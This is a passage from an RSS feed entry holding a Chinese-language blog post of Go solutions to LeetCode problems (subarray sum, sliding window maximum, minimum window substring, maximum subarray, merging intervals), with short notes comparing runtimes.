    if sCount == pCount {
      ans = append(ans, i + 1)
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;子串&lt;/h2&gt;
&lt;h3&gt;560. 和为 K 的子数组&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/subarray-sum-equals-k/&quot;&gt;和为 K 的子数组&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;暴力+前缀和&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func subarraySum(nums []int, k int) int {
  n := len(nums)
  sum := make([]int, n+1)

  for i := 0; i &amp;lt; n; i++ {
    sum[i+1] = sum[i] + nums[i]
  }

  ans := 0
  for i := 0; i &amp;lt; n; i++ {
    for j := i; j &amp;lt; n; j++ {
      if sum[j+1]-sum[i] == k {
        ans++
      }
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;哈希表+前缀和&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func subarraySum(nums []int, k int) int {
  count := 0
  prefix := 0
  m := map[int]int{0: 1}
  
  for _, num := range nums {
    prefix += num
    if v, ok := m[prefix-k]; ok {
      count += v
    }
    m[prefix]++
  }
  return count
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;239. 滑动窗口最大值&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/sliding-window-maximum/&quot;&gt;滑动窗口最大值&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;双端队列&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func maxSlidingWindow(nums []int, k int) []int {
  n := len(nums)
  var ans []int
  deque := []int{}
  for i := 0; i &amp;lt; n; i++ {
    if len(deque) &amp;gt; 0 &amp;amp;&amp;amp; deque[0] &amp;lt; i-k+1 {
      deque = deque[1:]
    }
    for len(deque) &amp;gt; 0 &amp;amp;&amp;amp; nums[deque[len(deque)-1]] &amp;lt; nums[i] {
      deque = deque[:len(deque)-1]
    }
    deque = append(deque, i)
    if i &amp;gt;= k-1 {
      ans = append(ans, nums[deque[0]])
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但这样写没有这个写法快&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxSlidingWindow(nums []int, k int) []int {
  if len(nums) == 0 || k == 0 {
    return []int{}
  }

  n := len(nums)
  result := make([]int, 0, n - k + 1)
  deque := make([]int, 0 , k)

  for i := 0; i &amp;lt; n; i++ {
    if len(deque) &amp;gt; 0 &amp;amp;&amp;amp; deque[0] &amp;lt; i - k + 1 {
      deque = deque[1:]
    }

    for len(deque) &amp;gt; 0 &amp;amp;&amp;amp; nums[deque[len(deque) - 1]] &amp;lt; nums[i] {
      deque = deque[:len(deque) - 1]
    }

    deque = append(deque, i)

    if i &amp;gt;= k-1 {
      result = append(result, nums[deque[0]])
    }
  }

  return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;区别就在&lt;code&gt;result := make([]int, 0, n - k + 1)&lt;/code&gt;和&lt;code&gt;deque := make([]int, 0 , k)&lt;/code&gt;
就单单因为提前分配了容量
&lt;code&gt;make(type, size, cap)&lt;/code&gt;
第一个为8ms而第二个为1ms&lt;/p&gt;
&lt;p&gt;这不神奇吗&lt;/p&gt;
&lt;h3&gt;76. 最小覆盖子串&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-window-substring/&quot;&gt;最小覆盖子串&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;滑动窗口+哈希表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func minWindow(s string, t string) string {
  need := make(map[byte]int)
  window := make(map[byte]int)
  for i := 0; i &amp;lt; len(t); i++ {
    need[t[i]]++
  }

  left, count := 0, 0
  start, minLen := 0, len(s)+1

  for right := 0; right &amp;lt; len(s); right++ {
    c := s[right]
    if _, ok := need[c]; ok {
      window[c]++
      if window[c] == need[c] {
        count++
      }
    }
    for count == len(need) {
      if right-left+1 &amp;lt; minLen {
        start = left
        minLen = right-left+1
      }
      d := s[left]
      left++
      if _, ok := need[d]; ok {
        if window[d] == need[d] {
          count--
        }
        window[d]--
      }
    }
  }
  if minLen == len(s) + 1 {
    return &quot;&quot;
  }
  return s[start : start + minLen]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;29ms&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func minWindow(s string, t string) string {
  n, m := len(s), len(t)
  if n &amp;lt; m {
    return &quot;&quot;
  }
  var c1, c2 [60]int
  tot := 0
  for i := 0; i &amp;lt; m; i++ {
    idx := getIdx(t[i])
    if c1[idx] == 0 {
      tot++
    }
    c1[idx]++
  }
  ans := &quot;&quot;
  for i, j := 0, 0; i &amp;lt; n; i++ {
    idx1 := getIdx(s[i])
    c2[idx1]++
    if c2[idx1] == c1[idx1] {
      tot--
    }

    for j &amp;lt; i {
      idx2 := getIdx(s[j])
      if c2[idx2] &amp;gt; c1[idx2] {
        c2[idx2]--
        j++
      } else {
        break
      }
    }

    if tot == 0 {
      if ans == &quot;&quot; || len(ans) &amp;gt; i-j+1 {
        ans = s[j : i+1]
      }
    }
  }
  return ans
}

func getIdx(x byte) int {
  if x &amp;gt;= &apos;A&apos; &amp;amp;&amp;amp; x &amp;lt;= &apos;Z&apos; {
    return int(x - &apos;A&apos; + 26)
  }
  return int(x - &apos;a&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0ms&lt;/p&gt;
&lt;h2&gt;普通数组&lt;/h2&gt;
&lt;h3&gt;53. 最大子数组和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/maximum-subarray/&quot;&gt;最大子数组和&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;前缀和&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func maxSubArray(nums []int) int {
  minPre := 0
  curPre := 0
  maxSum := nums[0]
  for _, x := range nums {
    curPre += x
    if curPre - minPre &amp;gt; maxSum {
      maxSum = curPre - minPre
    }
    if curPre &amp;lt; minPre {
      minPre = curPre
    }
  }
  return maxSum
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;分治&lt;/h4&gt;
&lt;p&gt;不太会，以后再说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxSubArray(nums []int) int {
  return get(nums, 0, len(nums) - 1).mSum;
}

func pushUp(l, r Status) Status {
  iSum := l.iSum + r.iSum
  lSum := max(l.lSum, l.iSum + r.lSum)
  rSum := max(r.rSum, r.iSum + l.rSum)
  mSum := max(max(l.mSum, r.mSum), l.rSum + r.lSum)
  return Status{lSum, rSum, mSum, iSum}
}

func get(nums []int, l, r int) Status {
  if (l == r) {
    return Status{nums[l], nums[l], nums[l], nums[l]}
  }
  m := (l + r) &amp;gt;&amp;gt; 1
  lSub := get(nums, l, m)
  rSub := get(nums, m + 1, r)
  return pushUp(lSub, rSub)
}

func max(x, y int) int {
  if x &amp;gt; y {
    return x
  }
  return y
}

type Status struct {
  lSum, rSum, mSum, iSum int
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;56. 合并区间&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/merge-intervals/&quot;&gt;合并区间&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;一般通过写法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func merge(intervals [][]int) [][]int {
  var ans [][]int
  var left, right int
  sort.Slice(intervals, func(i, j int) bool { return intervals[i][0] &amp;lt; intervals[j][0] })
  for i := 0; i &amp;lt; len(intervals); i++ {
    left = intervals[i][0]
    right = intervals[i][1]
    for i &amp;lt; len(intervals)-1 &amp;amp;&amp;amp; intervals[i+1][0] &amp;lt;= right {
      right = max(intervals[i+1][1], right)
      i++
    }
    ans = append(ans, []int{left, right})
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;排序+原地修改&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func merge(intervals [][]int) [][]int {
  if (len(intervals) == 1) {
    return intervals
  }
  sort.Slice(intervals, func(i, j int) bool {
    return intervals[i][0] &amp;lt; intervals[j][0]
  })
  res := make([][]int, 0)
  res = append(res, intervals[0])
  for i := 1; i &amp;lt; len(intervals); i++ {
    if (res[len(res)-1][1] &amp;gt;= intervals[i][0]) {
      res[len(res)-1][1] = max(res[len(res)-1][1], intervals[i][1])
    } else {
      res = append(res, intervals[i])
    }
  }
  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;189. 轮转数组&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/rotate-array/&quot;&gt;轮转数组&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>s3loy</author></item></channel></rss>